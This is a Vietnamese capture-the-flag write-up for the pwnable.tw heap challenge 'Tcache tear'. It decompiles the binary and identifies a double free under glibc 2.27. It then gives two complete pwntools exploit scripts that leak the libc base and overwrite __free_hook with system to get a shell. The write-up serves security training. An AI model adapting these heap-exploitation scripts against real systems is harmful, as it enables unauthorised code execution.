---
title: '[Pwnable.tw] Tcache tear'
tags: writeup, heap, pwntw, libc_2.27
---
[toc]
## **SOURCE**
> libc phiên bản 2.27
>


## **REVERSE**
> Đây là các hàm có liên quan
### Main
```c=
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rax
unsigned int v4; // [rsp+Ch] [rbp-4h]
init();
printf("Name:");
Read((__int64)&Name, 0x20u);
v4 = 0;
while ( 1 )
{
while ( 1 )
{
menu();
v3 = read_long();
if ( v3 != 2 )
break;
if ( v4 <= 7 )
{
free(ptr);
++v4;
}
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
Print();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_14:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_14;
create();
}
}
}
```
### Create
```c=
int create()
{
unsigned __int64 v0; // rax
int size; // [rsp+8h] [rbp-8h]
printf("Size:");
v0 = read_long();
size = v0;
if ( v0 <= 0xFF )
{
ptr = malloc(v0);
printf("Data:");
Read((__int64)ptr, size - 16);
LODWORD(v0) = puts("Done !");
}
return v0;
}
```
### Print
```c=
ssize_t Print()
{
printf("Name :");
return write(1, &Name, 0x20uLL);
}
```
Chương trình cho phép tạo ptr với size <= 255 và ghi, nhưng chỉ lưu một ptr.
Có thể free tối đã 8 lần, in ra name (biến ở bss).
## **VULN**
* Sau khi Free không set ptr về 0.
> chương trình dùng libc 2.27 nên có thể double free và trả về ptr ở địa chỉ bất kì.
## **APPROACH**
Đầu tiên thử ghi vào bảng GOT nhưng vì Full Relro nên bảng GOT không có quyền write, vì vậy phải leak libc base và ghi vào __free_hook.
Leak libc bằng cách tạo một fake chunk ở name rồi đưa nó vào unsorted bin, khi đó fd và next_ptr của fake chunk sẽ trỏ về libc, gọi print để in ra name từ đó lấy được libc base hoặc một cách khác ghi đè __IO_stdout_.
Double free tạo con trỏ đến __free_hook, ghi đè thành địa chỉ system.
## **STEPS**
**Cách :**
1. Ghi vào name 0x501 dùng làm size cho fake chunk.
2. Tạo một con trỏ tới 0x602570, fake 2 chunk tiếp theo của fake chunk.
3. Tạo một con trỏ tới 0x602070, free để đưa fake chunk vào unsorted bin.
4. Gọi print => leak libc base
5. Tạo một ptr trỏ tới __free_hook bằng double free
6. Ghi system vào __free_hook.
**Cách 2:**
1. Tạo một ptr trỏ tới 0x602020 (địa chỉ của _FILE_stdout_ trên binary) bằng double free.
2. Tạo một ptr nữa với cũng size với lần trên để lấy _FILE_stdout_ ra, ghi `p64(0x0fbad1800)+ 3*p64(0) + b'\x00'` vào => leak libc base.
3. Dùng double free tạo một ptr trỏ với __free_hook và đè thành system.
## **PAYLOAD**
**Cách 1:**
```python=
# -- coding: utf-8 --
from pwn import *
# ENV
PORT = 10207
HOST = "chall.pwnable.tw"
e = context.binary = ELF('./tcache_tear_patched')
# lib = ELF('')
lib = e.libc
if len(sys.argv) > 1 and sys.argv[1] == 'r':
r = remote(HOST, PORT)
else:
r = e.process()
pause()
# VARIABLE
name_add = 0x602060
ptr = 0x602088
def name(name):
r.sendlineafter("Name:", name)
def create(size, data, newline=True):
r.sendlineafter("Your choice :", "1")
r.sendlineafter("Size:", str(size))
if newline:
r.sendlineafter("Data:", data)
else:
r.sendafter("Data:", data)
def free():
r.sendlineafter("Your choice :", "2")
def print_name():
r.sendlineafter("Your choice :", "3")
r.recvuntil("Name :")
return r.recvline()
# PAYLOAD
name(p64(0) + p64(0x501))
create(0x50, 'a')
free()
free()
create(0x50, p64(name_add+0x500))
create(0x50, p64(0)+p64(0x21) + p64(0)*3 + p64(0x21))
create(0x50, p64(0)+p64(0x21) + p64(0)*3 + p64(0x21))
create(0x30, 'a')
free()
free()
create(0x30, p64(name_add+0x10))
create(0x30, p64(0x123))
create(0x30, p64(0x00))
free()
leak = u64(print_name()[16:24])
info("leak: 0x%x" % leak)
lib.address = leak - 0x3ebca0
info("base: 0x%x" % lib.address)
create(0x40, 'a')
free()
free()
create(0x40, p64(lib.sym.__free_hook))
create(0x40, p64(0x123))
create(0x40, p64(lib.sym.system))
create(5, "/bin/sh")
free()
r.sendline("id")
r.interactive()
```
**Cách 2:**

```python=
# -- coding: utf-8 --
from pwn import *
# ENV
PORT = 10207
HOST = "chall.pwnable.tw"
e = context.binary = ELF('./tcache_tear_patched')
# lib = ELF('')
lib = e.libc
if len(sys.argv) > 1 and sys.argv[1] == 'r':
r = remote(HOST, PORT)
else:
r = e.process()
# pause()
# VARIABLE
name_add = 0x602060
ptr = 0x602088
stdout = 0x602020
def name(name):
r.sendlineafter("Name:", name)
def create(size, data, newline=True):
r.sendlineafter("Your choice :", "1")
r.sendlineafter("Size:", str(size))
if newline:
r.sendlineafter("Data:", data)
else:
r.sendafter("Data:", data)
def free():
r.sendlineafter("Your choice :", "2")
def print_name():
r.sendlineafter("Your choice :", "3")
r.recvuntil("Name :")
return r.recvline()
# PAYLOAD
name(p64(0) + "name")
create(0x70, "t")
free()
free()
create(0x70, p64(stdout))
create(0x70, 'a')
create(0x70, '\x60', newline=False)
create(0x70, p64(0x0fbad1800)+ 3*p64(0) + b'\x00', newline=False)
leak = u64(r.recvline()[8:16])
info("leak: 0x%x" % leak)
lib.address = leak - 0x3ed8b0
info("base: 0x%x" % lib.address)
create(0x20, 'a')
free()
free()
create(0x20, p64(lib.sym.__free_hook))
create(0x20, 'a')
create(0x20, p64(lib.sym.system))
create(40, '/bin/sh')
free()
r.sendline("id")
r.interactive()
```
